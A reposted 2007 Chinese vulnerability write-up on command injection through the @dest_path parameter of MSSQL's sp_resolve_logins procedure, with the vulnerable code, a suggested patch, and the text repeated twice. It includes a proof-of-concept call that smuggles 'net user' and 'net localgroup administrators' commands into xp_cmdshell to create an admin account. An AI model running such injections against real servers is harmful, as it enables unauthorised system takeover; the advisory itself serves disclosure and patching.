MSSQL自身存储过程的一个注入漏洞
更新时间：2007年12月06日 23:16:29 作者：
（福利推荐：【腾讯云】服务器最新限时优惠活动，云服务器1核2G仅99元/年、2核4G仅768元/3年，立即抢购>>>：9i0i.cn/qcloud）
（福利推荐：你还在原价购买阿里云服务器？现在阿里云0.8折限时抢购活动来啦！4核8G企业云服务器仅2998元/3年，立即抢购>>>：9i0i.cn/aliyun）
Infos: MSSQL自身存储过程的一个注入
Author: 疯子[BCT]
Date: 10/11/2007
我看到MSSQL的存储过程中，有模有样的在过滤。 然后我就去读读他们的存储过程。就找到了一个注入而已。
疯子如是说。
漏洞资料如下：
master..sp_resolve_logins存储过程中，对@dest_path参数过滤不严，导致xp_cmdshell注入。
分析：
SELECT @dest_path = RTRIM(LTRIM(@dest_path))
-- If the last char is '\', remove it.
IF substring(@dest_path, len(@dest_path),1) = '\'
SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1)
-- Don't do validation if it is a UNC path due to security problem.
-- If the server is started as a service using local system account, we
-- don't have access to the UNC path.
IF substring(@dest_path, 1,2) <> '\\'
BEGIN
SELECT @command = 'dir "' + @dest_path + '"'
exec @retcode = master..xp_cmdshell @command, 'no_output'
IF @@error <> 0
RETURN (1)
IF @retcode <> 0
BEGIN
raiserror (14430, 16, -1, @dest_path)
RETURN (1)
END
END
master..sp_resolve_logins存储过程 在这一段，经过一定的判断，对 @dest_path 进行了一定的过滤。
但是没有过滤"（双引号）导致了 xp_cmdshell执行任意SQL语句
测试代码：
EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp'
执行上述MSSQL语句，成功添加了一个名为admina的系统帐号
但是此存储过程代码中经过判断，需要系统systemadmin权限的帐号。
疯子提供了一个给其打补丁的方法：
用函数fn_escapecmdshellsymbolsremovequotes把@dest_path过滤就OK了。如：
SELECT @dest_path = RTRIM(LTRIM(fn_escapecmdshellsymbolsremovequotes(@dest_path))) ，这样就不会产生注入了。
Author: 疯子[BCT]
Date: 10/11/2007
我看到MSSQL的存储过程中，有模有样的在过滤。 然后我就去读读他们的存储过程。就找到了一个注入而已。
疯子如是说。
漏洞资料如下：
master..sp_resolve_logins存储过程中，对@dest_path参数过滤不严，导致xp_cmdshell注入。
分析：
复制代码 代码如下:
SELECT @dest_path = RTRIM(LTRIM(@dest_path))
-- If the last char is '\', remove it.
IF substring(@dest_path, len(@dest_path),1) = '\'
SELECT @dest_path = substring(@dest_path, 1, len(@dest_path)-1)
-- Don't do validation if it is a UNC path due to security problem.
-- If the server is started as a service using local system account, we
-- don't have access to the UNC path.
IF substring(@dest_path, 1,2) <> '\\'
BEGIN
SELECT @command = 'dir "' + @dest_path + '"'
exec @retcode = master..xp_cmdshell @command, 'no_output'
IF @@error <> 0
RETURN (1)
IF @retcode <> 0
BEGIN
raiserror (14430, 16, -1, @dest_path)
RETURN (1)
END
END
master..sp_resolve_logins存储过程 在这一段，经过一定的判断，对 @dest_path 进行了一定的过滤。
但是没有过滤"（双引号）导致了 xp_cmdshell执行任意SQL语句
测试代码：
EXEC sp_resolve_logins 'text', 'e:\asp\"&net user admina admin /add&net localgroup administrators admina /add&dir "e:\asp', '1.asp'
执行上述MSSQL语句，成功添加了一个名为admina的系统帐号
但是此存储过程代码中经过判断，需要系统systemadmin权限的帐号。
疯子提供了一个给其打补丁的方法：
复制代码 代码如下:
用函数fn_escapecmdshellsymbolsremovequotes把@dest_path过滤就OK了。如：
SELECT @dest_path = RTRIM(LTRIM(fn_escapecmdshellsymbolsremovequotes(@dest_path))) ，这样就不会产生注入了。
相关文章
shell.application对象的漏洞描述...2007-01-01
google hack dat 又增加的一些比较新的数据2007-01-01
蜜罐技术:消除防火墙局限和脆弱...2007-01-01
信息来源：邪恶八进制信息安全团队（www.eviloctal.com） 文章作者：fhod 发这个也是因为看了asm所写的新概念收信程序 箱子永远不会被黑2008-06-06
某省高考志愿填报系统的漏洞实战解说...2007-01-01
视窗操作系统密码体系的弱点及对策(图)...2007-01-01
114论坛2005正式版漏洞...2007-01-01
利用DWRCC突破天网防火墙(经验)(图)...2007-01-01
利用FTP服务器的漏洞找肉鸡...2007-01-01
经过测试,看来Administrastor，账户真的不安全...2007-01-01
最新评论